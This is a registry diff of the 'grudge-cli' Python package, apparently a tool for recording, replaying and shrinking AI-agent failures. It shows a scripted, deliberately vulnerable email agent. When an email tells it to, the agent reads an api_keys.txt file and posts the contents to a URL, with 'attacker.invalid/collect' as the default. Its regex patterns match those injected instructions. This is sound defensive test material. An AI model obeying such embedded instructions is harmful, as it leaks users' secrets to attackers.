grudge-cli 0.1.0__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- examples/__init__.py +1 -0
- examples/leaky_agent/__init__.py +1 -0
- examples/leaky_agent/agent.py +250 -0
- examples/leaky_agent/agent_fixed.py +183 -0
- examples/leaky_agent/tools.py +153 -0
- grudge/__init__.py +5 -0
- grudge/__main__.py +6 -0
- grudge/_stubs.py +8 -0
- grudge/admission/__init__.py +6 -0
- grudge/admission/court.py +239 -0
- grudge/admission/verdict.py +26 -0
- grudge/cli/__init__.py +1 -0
- grudge/cli/_common.py +126 -0
- grudge/cli/admit.py +93 -0
- grudge/cli/capture.py +39 -0
- grudge/cli/compile.py +37 -0
- grudge/cli/demo.py +136 -0
- grudge/cli/main.py +54 -0
- grudge/cli/run.py +60 -0
- grudge/cli/scars.py +91 -0
- grudge/cli/shrink.py +108 -0
- grudge/config.py +35 -0
- grudge/demo/__init__.py +1 -0
- grudge/demo/events.py +228 -0
- grudge/demo/orchestrator.py +326 -0
- grudge/demo/server.py +222 -0
- grudge/errors.py +25 -0
- grudge/fuzzer/__init__.py +1 -0
- grudge/fuzzer/fingerprint_guard.py +10 -0
- grudge/fuzzer/mutators.py +10 -0
- grudge/gate/__init__.py +5 -0
- grudge/gate/report.py +125 -0
- grudge/gate/runner.py +323 -0
- grudge/gate/selector.py +10 -0
- grudge/gate/wilson.py +36 -0
- grudge/guard/__init__.py +5 -0
- grudge/guard/compile.py +251 -0
- grudge/guard/import_session.py +106 -0
- grudge/integrations/__init__.py +1 -0
- grudge/integrations/github_comment.py +10 -0
- grudge/integrations/pytest_plugin.py +10 -0
- grudge/llm/__init__.py +6 -0
- grudge/llm/cache.py +92 -0
- grudge/llm/client.py +82 -0
- grudge/locator/__init__.py +1 -0
- grudge/locator/fork.py +10 -0
- grudge/locator/point_of_no_return.py +10 -0
- grudge/predicates/__init__.py +25 -0
- grudge/predicates/call_shape.py +116 -0
- grudge/predicates/compiler.py +116 -0
- grudge/predicates/dsl.py +295 -0
- grudge/predicates/fallback_rules.py +10 -0
- grudge/predicates/ordering.py +33 -0
- grudge/predicates/outcome.py +14 -0
- grudge/predicates/prompts/synthesize.md +15 -0
- grudge/predicates/synthesizer.py +127 -0
- grudge/predicates/taint_flow.py +84 -0
- grudge/recorder/__init__.py +5 -0
- grudge/recorder/adapters/__init__.py +1 -0
- grudge/recorder/adapters/langgraph.py +8 -0
- grudge/recorder/adapters/mcp_proxy.py +8 -0
- grudge/recorder/adapters/raw_sdk.py +159 -0
- grudge/recorder/recorder.py +374 -0
- grudge/recorder/redact.py +105 -0
- grudge/registry/__init__.py +1 -0
- grudge/registry/db.py +10 -0
- grudge/registry/fingerprint.py +10 -0
- grudge/registry/flakiness.py +10 -0
- grudge/registry/retirement.py +10 -0
- grudge/replay/__init__.py +19 -0
- grudge/replay/cassette_player.py +159 -0
- grudge/replay/sandbox.py +340 -0
- grudge/replay/scripted_llm.py +382 -0
- grudge/schema/__init__.py +45 -0
- grudge/schema/cassette.py +206 -0
- grudge/schema/predicate.py +263 -0
- grudge/schema/scar.py +113 -0
- grudge/schema/trace.py +243 -0
- grudge/shrinker/__init__.py +12 -0
- grudge/shrinker/cassette_builder.py +328 -0
- grudge/shrinker/ddmin.py +243 -0
- grudge/shrinker/oracle.py +230 -0
- grudge/shrinker/reducers.py +331 -0
- grudge_cli-0.1.0.dist-info/LICENSE +21 -0
- grudge_cli-0.1.0.dist-info/METADATA +313 -0
- grudge_cli-0.1.0.dist-info/RECORD +89 -0
- grudge_cli-0.1.0.dist-info/WHEEL +5 -0
- grudge_cli-0.1.0.dist-info/entry_points.txt +2 -0
- grudge_cli-0.1.0.dist-info/top_level.txt +2 -0
|
@@ -0,0 +1,382 @@
|
|
|
1
|
+
"""A deterministic, message-driven policy used by the Phase 2 examples.
|
|
2
|
+
|
|
3
|
+
This is intentionally a small policy rather than a transcript player. It
|
|
4
|
+
looks at the latest tool result and derives the next action from that result.
|
|
5
|
+
That distinction is what lets later replay and shrinking remove the poisoned
|
|
6
|
+
email while preserving the rest of the run.
|
|
7
|
+
"""
|
|
8
|
+
|
|
9
|
+
from __future__ import annotations
|
|
10
|
+
|
|
11
|
+
import json
|
|
12
|
+
import re
|
|
13
|
+
from collections.abc import Mapping, Sequence
|
|
14
|
+
from dataclasses import dataclass
|
|
15
|
+
from pathlib import Path
|
|
16
|
+
from typing import Any, Literal
|
|
17
|
+
|
|
18
|
+
ActionKind = Literal["tool_call", "final_answer"]
|
|
19
|
+
|
|
20
|
+
|
|
21
|
+
@dataclass(frozen=True)
|
|
22
|
+
class Action:
|
|
23
|
+
"""One deterministic policy decision.
|
|
24
|
+
|
|
25
|
+
``tool`` and ``args`` are populated for a tool call; ``answer`` is
|
|
26
|
+
populated for a final answer. The small ``name``/``arguments`` aliases
|
|
27
|
+
make the object convenient for callers that use OpenAI-style vocabulary.
|
|
28
|
+
"""
|
|
29
|
+
|
|
30
|
+
kind: ActionKind
|
|
31
|
+
tool: str | None = None
|
|
32
|
+
args: dict[str, Any] | None = None
|
|
33
|
+
answer: str | None = None
|
|
34
|
+
|
|
35
|
+
@classmethod
|
|
36
|
+
def tool_call(cls, tool: str, args: Mapping[str, Any] | None = None) -> Action:
|
|
37
|
+
"""Create a tool-call action."""
|
|
38
|
+
|
|
39
|
+
return cls(kind="tool_call", tool=tool, args=dict(args or {}))
|
|
40
|
+
|
|
41
|
+
@classmethod
|
|
42
|
+
def final(cls, answer: str) -> Action:
|
|
43
|
+
"""Create a terminal answer action."""
|
|
44
|
+
|
|
45
|
+
return cls(kind="final_answer", answer=answer)
|
|
46
|
+
|
|
47
|
+
@property
|
|
48
|
+
def name(self) -> str | None:
|
|
49
|
+
"""OpenAI-style alias for :attr:`tool`."""
|
|
50
|
+
|
|
51
|
+
return self.tool
|
|
52
|
+
|
|
53
|
+
@property
|
|
54
|
+
def arguments(self) -> dict[str, Any]:
|
|
55
|
+
"""OpenAI-style alias for :attr:`args`."""
|
|
56
|
+
|
|
57
|
+
return dict(self.args or {})
|
|
58
|
+
|
|
59
|
+
|
|
60
|
+
DEFAULT_RESPONSES: dict[str, Any] = {
|
|
61
|
+
"injection_patterns": [
|
|
62
|
+
{
|
|
63
|
+
"pattern": (
|
|
64
|
+
r"read\s+(?:the\s+)?contents?\s+of\s+[`\"']?"
|
|
65
|
+
r"([\w./-]*api[_-]?keys\.txt)[`\"']?"
|
|
66
|
+
),
|
|
67
|
+
"tool": "read_file",
|
|
68
|
+
"args": {"path": "{1}"},
|
|
69
|
+
},
|
|
70
|
+
{
|
|
71
|
+
"pattern": (
|
|
72
|
+
r"read\s+(?:the\s+)?(?:file\s+)?[`\"']?"
|
|
73
|
+
r"([\w./-]*api[_-]?keys\.txt)[`\"']?"
|
|
74
|
+
),
|
|
75
|
+
"tool": "read_file",
|
|
76
|
+
"args": {"path": "{1}"},
|
|
77
|
+
},
|
|
78
|
+
{
|
|
79
|
+
"pattern": r"(?:post|send|forward).{0,160}(https?://[^\s'\"`)>]+)",
|
|
80
|
+
"tool": "send_http",
|
|
81
|
+
"args": {"url": "{1}", "body": "{last_tool_result}"},
|
|
82
|
+
},
|
|
83
|
+
],
|
|
84
|
+
"task_plan": {"first_tool": "list_emails"},
|
|
85
|
+
}
|
|
86
|
+
|
|
87
|
+
|
|
88
|
+
def _merge_config(base: dict[str, Any], override: Mapping[str, Any]) -> dict[str, Any]:
|
|
89
|
+
"""Merge the two shallow configuration sections used by the policy."""
|
|
90
|
+
|
|
91
|
+
merged = dict(base)
|
|
92
|
+
for key, value in override.items():
|
|
93
|
+
if isinstance(value, Mapping) and isinstance(merged.get(key), Mapping):
|
|
94
|
+
merged[key] = {**merged[key], **value}
|
|
95
|
+
else:
|
|
96
|
+
merged[key] = value
|
|
97
|
+
return merged
|
|
98
|
+
|
|
99
|
+
|
|
100
|
+
def _content_text(content: Any) -> str:
|
|
101
|
+
"""Convert a tool result to stable searchable text."""
|
|
102
|
+
|
|
103
|
+
if isinstance(content, str):
|
|
104
|
+
return content
|
|
105
|
+
if isinstance(content, Mapping):
|
|
106
|
+
return json.dumps(content, ensure_ascii=False, sort_keys=True)
|
|
107
|
+
if isinstance(content, Sequence) and not isinstance(content, bytes | bytearray):
|
|
108
|
+
return json.dumps(content, ensure_ascii=False, sort_keys=True, default=str)
|
|
109
|
+
return str(content)
|
|
110
|
+
|
|
111
|
+
|
|
112
|
+
def _tool_results(messages: Sequence[Mapping[str, Any]]) -> list[Mapping[str, Any]]:
|
|
113
|
+
"""Return tool-result messages, accepting both common role spellings."""
|
|
114
|
+
|
|
115
|
+
return [
|
|
116
|
+
message
|
|
117
|
+
for message in messages
|
|
118
|
+
if message.get("role") in {"tool", "tool_result"}
|
|
119
|
+
or message.get("type") == "tool_result"
|
|
120
|
+
]
|
|
121
|
+
|
|
122
|
+
|
|
123
|
+
def _called_tools(
|
|
124
|
+
messages: Sequence[Mapping[str, Any]],
|
|
125
|
+
) -> list[tuple[str, dict[str, Any]]]:
|
|
126
|
+
"""Extract the policy's prior tool calls from assistant messages."""
|
|
127
|
+
|
|
128
|
+
calls: list[tuple[str, dict[str, Any]]] = []
|
|
129
|
+
for message in messages:
|
|
130
|
+
if message.get("role") != "assistant":
|
|
131
|
+
continue
|
|
132
|
+
call = message.get("tool_call")
|
|
133
|
+
if isinstance(call, Mapping):
|
|
134
|
+
name = call.get("name") or call.get("tool")
|
|
135
|
+
args = call.get("arguments") or call.get("args") or {}
|
|
136
|
+
if isinstance(name, str) and isinstance(args, Mapping):
|
|
137
|
+
calls.append((name, dict(args)))
|
|
138
|
+
for call in message.get("tool_calls", []) or []:
|
|
139
|
+
if isinstance(call, Mapping):
|
|
140
|
+
function = call.get("function", call)
|
|
141
|
+
if isinstance(function, Mapping):
|
|
142
|
+
name = function.get("name") or function.get("tool")
|
|
143
|
+
raw_args = function.get("arguments") or function.get("args") or {}
|
|
144
|
+
if isinstance(raw_args, str):
|
|
145
|
+
try:
|
|
146
|
+
raw_args = json.loads(raw_args)
|
|
147
|
+
except json.JSONDecodeError:
|
|
148
|
+
raw_args = {}
|
|
149
|
+
if isinstance(name, str) and isinstance(raw_args, Mapping):
|
|
150
|
+
calls.append((name, dict(raw_args)))
|
|
151
|
+
return calls
|
|
152
|
+
|
|
153
|
+
|
|
154
|
+
def _extract_records(content: Any, key: str) -> list[dict[str, Any]]:
|
|
155
|
+
"""Extract list-like records from a world tool response."""
|
|
156
|
+
|
|
157
|
+
value = content
|
|
158
|
+
if isinstance(content, str):
|
|
159
|
+
try:
|
|
160
|
+
value = json.loads(content)
|
|
161
|
+
except json.JSONDecodeError:
|
|
162
|
+
return []
|
|
163
|
+
if isinstance(value, Mapping):
|
|
164
|
+
value = value.get(key, value.get("items", value.get("results", [])))
|
|
165
|
+
if not isinstance(value, Sequence) or isinstance(value, str | bytes | bytearray):
|
|
166
|
+
return []
|
|
167
|
+
records: list[dict[str, Any]] = []
|
|
168
|
+
for item in value:
|
|
169
|
+
if isinstance(item, Mapping):
|
|
170
|
+
records.append(dict(item))
|
|
171
|
+
elif isinstance(item, str | int):
|
|
172
|
+
records.append({"id": item})
|
|
173
|
+
return records
|
|
174
|
+
|
|
175
|
+
|
|
176
|
+
class ScriptedLLM:
|
|
177
|
+
"""Deterministic rule-based policy with optional injection defense.
|
|
178
|
+
|
|
179
|
+
``responses_path`` may point at a JSON object containing
|
|
180
|
+
``injection_patterns`` and ``task_plan``. A pattern can be a string or an
|
|
181
|
+
object with ``pattern``/``regex`` and ``tool``/``action`` fields. Action
|
|
182
|
+
arguments support ``{1}`` capture references, ``{last_tool_result}``, and
|
|
183
|
+
``{last_file_result}``.
|
|
184
|
+
"""
|
|
185
|
+
|
|
186
|
+
def __init__(
|
|
187
|
+
self,
|
|
188
|
+
responses_path: str | Path | None = None,
|
|
189
|
+
*,
|
|
190
|
+
defended: bool = False,
|
|
191
|
+
config: Mapping[str, Any] | None = None,
|
|
192
|
+
) -> None:
|
|
193
|
+
"""Create a policy from JSON configuration or the example defaults."""
|
|
194
|
+
|
|
195
|
+
loaded: dict[str, Any] = {}
|
|
196
|
+
path = Path(responses_path) if responses_path is not None else None
|
|
197
|
+
if path is None:
|
|
198
|
+
path = (
|
|
199
|
+
Path(__file__).resolve().parents[2]
|
|
200
|
+
/ "examples"
|
|
201
|
+
/ "leaky_agent"
|
|
202
|
+
/ "scripted_responses.json"
|
|
203
|
+
)
|
|
204
|
+
if path.is_file():
|
|
205
|
+
try:
|
|
206
|
+
decoded = json.loads(path.read_text(encoding="utf-8"))
|
|
207
|
+
except (OSError, json.JSONDecodeError):
|
|
208
|
+
decoded = {}
|
|
209
|
+
if isinstance(decoded, Mapping):
|
|
210
|
+
loaded = dict(decoded)
|
|
211
|
+
if config is not None:
|
|
212
|
+
loaded = _merge_config(loaded, config)
|
|
213
|
+
self.config = _merge_config(DEFAULT_RESPONSES, loaded)
|
|
214
|
+
self.defended = defended
|
|
215
|
+
|
|
216
|
+
def next_action(
|
|
217
|
+
self,
|
|
218
|
+
messages: Sequence[Mapping[str, Any]],
|
|
219
|
+
tools: Sequence[Mapping[str, Any]] | Mapping[str, Any],
|
|
220
|
+
) -> Action:
|
|
221
|
+
"""Choose the next action from the current conversation state.
|
|
222
|
+
|
|
223
|
+
Tool-result instructions are deliberately ignored in defended mode;
|
|
224
|
+
they are data, not policy. In vulnerable mode only the latest result
|
|
225
|
+
is considered, preventing an old poisoned message from being replayed.
|
|
226
|
+
"""
|
|
227
|
+
|
|
228
|
+
del tools # The policy only emits names from its configured contract.
|
|
229
|
+
results = _tool_results(messages)
|
|
230
|
+
calls = _called_tools(messages)
|
|
231
|
+
latest = results[-1] if results else None
|
|
232
|
+
latest_text = _content_text(latest.get("content")) if latest else ""
|
|
233
|
+
source_name = latest.get("name") if latest is not None else None
|
|
234
|
+
if (
|
|
235
|
+
latest is not None
|
|
236
|
+
and not self.defended
|
|
237
|
+
and source_name in {None, "read_email"}
|
|
238
|
+
):
|
|
239
|
+
for pattern in self.config.get("injection_patterns", []):
|
|
240
|
+
action = self._injection_action(pattern, latest_text)
|
|
241
|
+
if action is not None:
|
|
242
|
+
return action
|
|
243
|
+
|
|
244
|
+
if not calls:
|
|
245
|
+
first_tool = self.config.get("task_plan", {}).get(
|
|
246
|
+
"first_tool", "list_emails"
|
|
247
|
+
)
|
|
248
|
+
if isinstance(first_tool, str):
|
|
249
|
+
return Action.tool_call(first_tool)
|
|
250
|
+
return Action.tool_call("list_emails")
|
|
251
|
+
|
|
252
|
+
last_tool, last_args = calls[-1]
|
|
253
|
+
if last_tool == "read_file":
|
|
254
|
+
file_result = latest_text
|
|
255
|
+
url = self._last_injection_url(messages)
|
|
256
|
+
return Action.tool_call("send_http", {"url": url, "body": file_result})
|
|
257
|
+
if last_tool == "send_http":
|
|
258
|
+
return self._next_email_action(messages)
|
|
259
|
+
if last_tool == "list_emails":
|
|
260
|
+
return self._next_email_action(messages, first=True)
|
|
261
|
+
if last_tool == "read_email":
|
|
262
|
+
return self._next_email_action(messages)
|
|
263
|
+
if last_tool in {"list_files", "read_file"}:
|
|
264
|
+
return self._next_email_action(messages)
|
|
265
|
+
if latest is not None and last_args:
|
|
266
|
+
return self._next_email_action(messages)
|
|
267
|
+
return Action.final(
|
|
268
|
+
"I reviewed the available messages and found nothing else requiring action."
|
|
269
|
+
)
|
|
270
|
+
|
|
271
|
+
def _injection_action(self, pattern: Any, text: str) -> Action | None:
|
|
272
|
+
if isinstance(pattern, str):
|
|
273
|
+
parts = pattern.split(maxsplit=1)
|
|
274
|
+
if len(parts) == 2 and parts[0] in {
|
|
275
|
+
"read_file",
|
|
276
|
+
"send_http",
|
|
277
|
+
}:
|
|
278
|
+
tool, target = parts
|
|
279
|
+
expression = re.escape(target)
|
|
280
|
+
string_args: dict[str, str]
|
|
281
|
+
if tool == "read_file":
|
|
282
|
+
string_args = {"path": target}
|
|
283
|
+
else:
|
|
284
|
+
string_args = {"url": target, "body": "{last_tool_result}"}
|
|
285
|
+
action_spec = {"tool": tool, "args": string_args}
|
|
286
|
+
else:
|
|
287
|
+
expression = pattern
|
|
288
|
+
action_spec = None
|
|
289
|
+
elif isinstance(pattern, Mapping):
|
|
290
|
+
expression = pattern.get(
|
|
291
|
+
"pattern", pattern.get("regex", pattern.get("match", ""))
|
|
292
|
+
)
|
|
293
|
+
action_spec = pattern.get("action", pattern)
|
|
294
|
+
else:
|
|
295
|
+
return None
|
|
296
|
+
if not isinstance(expression, str) or not expression:
|
|
297
|
+
return None
|
|
298
|
+
try:
|
|
299
|
+
match = re.search(expression, text, flags=re.IGNORECASE | re.DOTALL)
|
|
300
|
+
except re.error:
|
|
301
|
+
match = re.search(re.escape(expression), text, flags=re.IGNORECASE)
|
|
302
|
+
if match is None:
|
|
303
|
+
return None
|
|
304
|
+
if action_spec is None:
|
|
305
|
+
return None
|
|
306
|
+
if isinstance(action_spec, Mapping) and "actions" in action_spec:
|
|
307
|
+
actions = action_spec.get("actions")
|
|
308
|
+
action_spec = (
|
|
309
|
+
actions[0] if isinstance(actions, Sequence) and actions else None
|
|
310
|
+
)
|
|
311
|
+
if isinstance(action_spec, str):
|
|
312
|
+
raw_tool: Any = action_spec
|
|
313
|
+
rendered_args: Mapping[str, Any] = {}
|
|
314
|
+
elif isinstance(action_spec, Mapping):
|
|
315
|
+
raw_tool = action_spec.get("tool", action_spec.get("name"))
|
|
316
|
+
raw_args = action_spec.get("args", action_spec.get("arguments", {}))
|
|
317
|
+
rendered_args = raw_args if isinstance(raw_args, Mapping) else {}
|
|
318
|
+
else:
|
|
319
|
+
return None
|
|
320
|
+
if not isinstance(raw_tool, str):
|
|
321
|
+
return None
|
|
322
|
+
tool = raw_tool
|
|
323
|
+
values = {
|
|
324
|
+
str(index): value for index, value in enumerate(match.groups(), start=1)
|
|
325
|
+
}
|
|
326
|
+
values["match"] = match.group(0)
|
|
327
|
+
values["last_tool_result"] = text
|
|
328
|
+
values["last_file_result"] = text
|
|
329
|
+
return Action.tool_call(tool, self._render_args(rendered_args, values))
|
|
330
|
+
|
|
331
|
+
def _render_args(
|
|
332
|
+
self, args: Mapping[str, Any], values: Mapping[str, str]
|
|
333
|
+
) -> dict[str, Any]:
|
|
334
|
+
rendered: dict[str, Any] = {}
|
|
335
|
+
for key, value in args.items():
|
|
336
|
+
if isinstance(value, str):
|
|
337
|
+
rendered[key] = re.sub(
|
|
338
|
+
r"\{([^{}]+)\}",
|
|
339
|
+
lambda match: values.get(match.group(1), match.group(0)),
|
|
340
|
+
value,
|
|
341
|
+
)
|
|
342
|
+
else:
|
|
343
|
+
rendered[key] = value
|
|
344
|
+
return rendered
|
|
345
|
+
|
|
346
|
+
def _last_injection_url(self, messages: Sequence[Mapping[str, Any]]) -> str:
|
|
347
|
+
text = "\n".join(
|
|
348
|
+
_content_text(message.get("content")) for message in _tool_results(messages)
|
|
349
|
+
)
|
|
350
|
+
match = re.search(r"https?://[^\s'\"`)>]+", text, flags=re.IGNORECASE)
|
|
351
|
+
return match.group(0) if match else "https://attacker.invalid/collect"
|
|
352
|
+
|
|
353
|
+
def _next_email_action(
|
|
354
|
+
self,
|
|
355
|
+
messages: Sequence[Mapping[str, Any]],
|
|
356
|
+
*,
|
|
357
|
+
first: bool = False,
|
|
358
|
+
) -> Action:
|
|
359
|
+
calls = _called_tools(messages)
|
|
360
|
+
listed: list[dict[str, Any]] = []
|
|
361
|
+
for message in reversed(_tool_results(messages)):
|
|
362
|
+
if any(name == "list_emails" for name, _ in calls):
|
|
363
|
+
listed = _extract_records(message.get("content"), "emails")
|
|
364
|
+
if listed:
|
|
365
|
+
break
|
|
366
|
+
read_ids = {
|
|
367
|
+
str(args.get("id"))
|
|
368
|
+
for name, args in calls
|
|
369
|
+
if name == "read_email" and args.get("id") is not None
|
|
370
|
+
}
|
|
371
|
+
for record in listed:
|
|
372
|
+
identifier = record.get("id", record.get("email_id"))
|
|
373
|
+
if identifier is not None and (first or str(identifier) not in read_ids):
|
|
374
|
+
return Action.tool_call("read_email", {"id": identifier})
|
|
375
|
+
if first and not listed:
|
|
376
|
+
return Action.tool_call("read_email", {"id": 0})
|
|
377
|
+
return Action.final(
|
|
378
|
+
"I reviewed the available messages and found nothing else requiring action."
|
|
379
|
+
)
|
|
380
|
+
|
|
381
|
+
|
|
382
|
+
__all__ = ["Action", "ScriptedLLM"]
|
|
@@ -0,0 +1,45 @@
|
|
|
1
|
+
"""Phase 1 typed contracts shared by every Grudge pipeline stage."""
|
|
2
|
+
|
|
3
|
+
from grudge.schema.cassette import ArgMatcher, Cassette, CassetteEntry
|
|
4
|
+
from grudge.schema.predicate import (
|
|
5
|
+
CallShape,
|
|
6
|
+
FilteredTaintFlow,
|
|
7
|
+
Ordering,
|
|
8
|
+
Outcome,
|
|
9
|
+
Predicate,
|
|
10
|
+
PredicateSet,
|
|
11
|
+
TaintFlow,
|
|
12
|
+
)
|
|
13
|
+
from grudge.schema.scar import AdmissionRecord, Scar, SeedPredicate
|
|
14
|
+
from grudge.schema.trace import (
|
|
15
|
+
FinalAnswer,
|
|
16
|
+
ModelCall,
|
|
17
|
+
StateDiff,
|
|
18
|
+
Step,
|
|
19
|
+
ToolCall,
|
|
20
|
+
ToolResult,
|
|
21
|
+
Trace,
|
|
22
|
+
)
|
|
23
|
+
|
|
24
|
+
__all__ = [
|
|
25
|
+
"AdmissionRecord",
|
|
26
|
+
"ArgMatcher",
|
|
27
|
+
"CallShape",
|
|
28
|
+
"Cassette",
|
|
29
|
+
"CassetteEntry",
|
|
30
|
+
"FilteredTaintFlow",
|
|
31
|
+
"FinalAnswer",
|
|
32
|
+
"ModelCall",
|
|
33
|
+
"Ordering",
|
|
34
|
+
"Outcome",
|
|
35
|
+
"Predicate",
|
|
36
|
+
"PredicateSet",
|
|
37
|
+
"Scar",
|
|
38
|
+
"SeedPredicate",
|
|
39
|
+
"StateDiff",
|
|
40
|
+
"Step",
|
|
41
|
+
"TaintFlow",
|
|
42
|
+
"ToolCall",
|
|
43
|
+
"ToolResult",
|
|
44
|
+
"Trace",
|
|
45
|
+
]
|
|
@@ -0,0 +1,206 @@
|
|
|
1
|
+
"""Phase 1 cassette contracts for frozen tool worlds and deterministic replay."""
|
|
2
|
+
|
|
3
|
+
from __future__ import annotations
|
|
4
|
+
|
|
5
|
+
import hashlib
|
|
6
|
+
import json
|
|
7
|
+
from collections.abc import Mapping
|
|
8
|
+
from typing import Any, Literal, Self
|
|
9
|
+
|
|
10
|
+
from pydantic import BaseModel, ConfigDict, Field, ValidationError, model_validator
|
|
11
|
+
|
|
12
|
+
from grudge.errors import SchemaError
|
|
13
|
+
|
|
14
|
+
|
|
15
|
+
class _SchemaModel(BaseModel):
|
|
16
|
+
"""Base model that exposes schema failures as Grudge errors."""
|
|
17
|
+
|
|
18
|
+
model_config = ConfigDict(populate_by_name=True, validate_assignment=True)
|
|
19
|
+
|
|
20
|
+
def __init__(self, **data: Any) -> None:
|
|
21
|
+
try:
|
|
22
|
+
super().__init__(**data)
|
|
23
|
+
except ValidationError as exc:
|
|
24
|
+
raise SchemaError(str(exc)) from exc
|
|
25
|
+
|
|
26
|
+
@classmethod
|
|
27
|
+
def model_validate(
|
|
28
|
+
cls,
|
|
29
|
+
obj: Any,
|
|
30
|
+
*,
|
|
31
|
+
strict: bool | None = None,
|
|
32
|
+
extra: Literal["allow", "ignore", "forbid"] | None = None,
|
|
33
|
+
from_attributes: bool | None = None,
|
|
34
|
+
context: Any | None = None,
|
|
35
|
+
by_alias: bool | None = None,
|
|
36
|
+
by_name: bool | None = None,
|
|
37
|
+
) -> Self:
|
|
38
|
+
try:
|
|
39
|
+
return super().model_validate(
|
|
40
|
+
obj,
|
|
41
|
+
strict=strict,
|
|
42
|
+
extra=extra,
|
|
43
|
+
from_attributes=from_attributes,
|
|
44
|
+
context=context,
|
|
45
|
+
by_alias=by_alias,
|
|
46
|
+
by_name=by_name,
|
|
47
|
+
)
|
|
48
|
+
except ValidationError as exc:
|
|
49
|
+
raise SchemaError(str(exc)) from exc
|
|
50
|
+
|
|
51
|
+
@classmethod
|
|
52
|
+
def model_validate_json(
|
|
53
|
+
cls,
|
|
54
|
+
json_data: str | bytes | bytearray,
|
|
55
|
+
*,
|
|
56
|
+
strict: bool | None = None,
|
|
57
|
+
extra: Literal["allow", "ignore", "forbid"] | None = None,
|
|
58
|
+
context: Any | None = None,
|
|
59
|
+
by_alias: bool | None = None,
|
|
60
|
+
by_name: bool | None = None,
|
|
61
|
+
) -> Self:
|
|
62
|
+
try:
|
|
63
|
+
return super().model_validate_json(
|
|
64
|
+
json_data,
|
|
65
|
+
strict=strict,
|
|
66
|
+
extra=extra,
|
|
67
|
+
context=context,
|
|
68
|
+
by_alias=by_alias,
|
|
69
|
+
by_name=by_name,
|
|
70
|
+
)
|
|
71
|
+
except (ValidationError, ValueError) as exc:
|
|
72
|
+
raise SchemaError(str(exc)) from exc
|
|
73
|
+
|
|
74
|
+
|
|
75
|
+
def _is_subset(expected: Mapping[str, Any], actual: Mapping[str, Any]) -> bool:
|
|
76
|
+
"""Compare mappings recursively while treating non-mappings as exact."""
|
|
77
|
+
|
|
78
|
+
for key, value in expected.items():
|
|
79
|
+
if key not in actual:
|
|
80
|
+
return False
|
|
81
|
+
actual_value = actual[key]
|
|
82
|
+
if isinstance(value, Mapping):
|
|
83
|
+
if not isinstance(actual_value, Mapping) or not _is_subset(
|
|
84
|
+
value, actual_value
|
|
85
|
+
):
|
|
86
|
+
return False
|
|
87
|
+
elif actual_value != value:
|
|
88
|
+
return False
|
|
89
|
+
return True
|
|
90
|
+
|
|
91
|
+
|
|
92
|
+
class ArgMatcher(_SchemaModel):
|
|
93
|
+
"""A deterministic exact, recursive subset, or wildcard argument matcher."""
|
|
94
|
+
|
|
95
|
+
model_config = ConfigDict(
|
|
96
|
+
extra="forbid",
|
|
97
|
+
populate_by_name=True,
|
|
98
|
+
validate_assignment=True,
|
|
99
|
+
)
|
|
100
|
+
|
|
101
|
+
kind: Literal["exact", "subset", "any"]
|
|
102
|
+
args: dict[str, Any] = Field(default_factory=dict)
|
|
103
|
+
|
|
104
|
+
@model_validator(mode="before")
|
|
105
|
+
@classmethod
|
|
106
|
+
def _normalise_shapes(cls, value: Any) -> Any:
|
|
107
|
+
if not isinstance(value, Mapping):
|
|
108
|
+
return value
|
|
109
|
+
data = dict(value)
|
|
110
|
+
kind = data.get("kind", data.get("mode", data.get("type")))
|
|
111
|
+
if kind is None:
|
|
112
|
+
for candidate in ("exact", "subset", "any"):
|
|
113
|
+
if candidate in data:
|
|
114
|
+
kind = candidate
|
|
115
|
+
candidate_value = data[candidate]
|
|
116
|
+
return {
|
|
117
|
+
"kind": kind,
|
|
118
|
+
"args": {} if candidate == "any" else candidate_value,
|
|
119
|
+
}
|
|
120
|
+
if kind is not None:
|
|
121
|
+
data["kind"] = kind
|
|
122
|
+
data.pop("mode", None)
|
|
123
|
+
data.pop("type", None)
|
|
124
|
+
if "args" not in data:
|
|
125
|
+
if "value" in data:
|
|
126
|
+
data["args"] = data.pop("value")
|
|
127
|
+
elif kind == "any":
|
|
128
|
+
data["args"] = {}
|
|
129
|
+
return data
|
|
130
|
+
|
|
131
|
+
@classmethod
|
|
132
|
+
def exact(cls, args: dict[str, Any]) -> ArgMatcher:
|
|
133
|
+
"""Build an exact matcher."""
|
|
134
|
+
|
|
135
|
+
return cls(kind="exact", args=args)
|
|
136
|
+
|
|
137
|
+
@classmethod
|
|
138
|
+
def subset(cls, args: dict[str, Any]) -> ArgMatcher:
|
|
139
|
+
"""Build a recursive subset matcher."""
|
|
140
|
+
|
|
141
|
+
return cls(kind="subset", args=args)
|
|
142
|
+
|
|
143
|
+
@classmethod
|
|
144
|
+
def any(cls) -> ArgMatcher:
|
|
145
|
+
"""Build a matcher accepting any argument mapping."""
|
|
146
|
+
|
|
147
|
+
return cls(kind="any")
|
|
148
|
+
|
|
149
|
+
def matches(self, actual: Mapping[str, Any]) -> bool:
|
|
150
|
+
"""Return whether ``actual`` satisfies this matcher."""
|
|
151
|
+
|
|
152
|
+
if self.kind == "any":
|
|
153
|
+
return True
|
|
154
|
+
if self.kind == "exact":
|
|
155
|
+
return dict(actual) == self.args
|
|
156
|
+
return _is_subset(self.args, actual)
|
|
157
|
+
|
|
158
|
+
|
|
159
|
+
class CassetteEntry(_SchemaModel):
|
|
160
|
+
"""One frozen response available from a cassette-backed tool world."""
|
|
161
|
+
|
|
162
|
+
model_config = ConfigDict(
|
|
163
|
+
extra="forbid",
|
|
164
|
+
populate_by_name=True,
|
|
165
|
+
validate_assignment=True,
|
|
166
|
+
)
|
|
167
|
+
|
|
168
|
+
tool: str = Field(min_length=1)
|
|
169
|
+
match: ArgMatcher
|
|
170
|
+
response: Any
|
|
171
|
+
order_hint: int | None = None
|
|
172
|
+
|
|
173
|
+
|
|
174
|
+
class Cassette(_SchemaModel):
|
|
175
|
+
"""A task and ordered set of tool responses used during replay."""
|
|
176
|
+
|
|
177
|
+
model_config = ConfigDict(
|
|
178
|
+
extra="forbid",
|
|
179
|
+
populate_by_name=True,
|
|
180
|
+
validate_assignment=True,
|
|
181
|
+
)
|
|
182
|
+
|
|
183
|
+
task: str
|
|
184
|
+
world: list[CassetteEntry] = Field(default_factory=list)
|
|
185
|
+
|
|
186
|
+
def _canonical_json(self) -> str:
|
|
187
|
+
return json.dumps(
|
|
188
|
+
self.model_dump(mode="json"),
|
|
189
|
+
ensure_ascii=False,
|
|
190
|
+
sort_keys=True,
|
|
191
|
+
separators=(",", ":"),
|
|
192
|
+
)
|
|
193
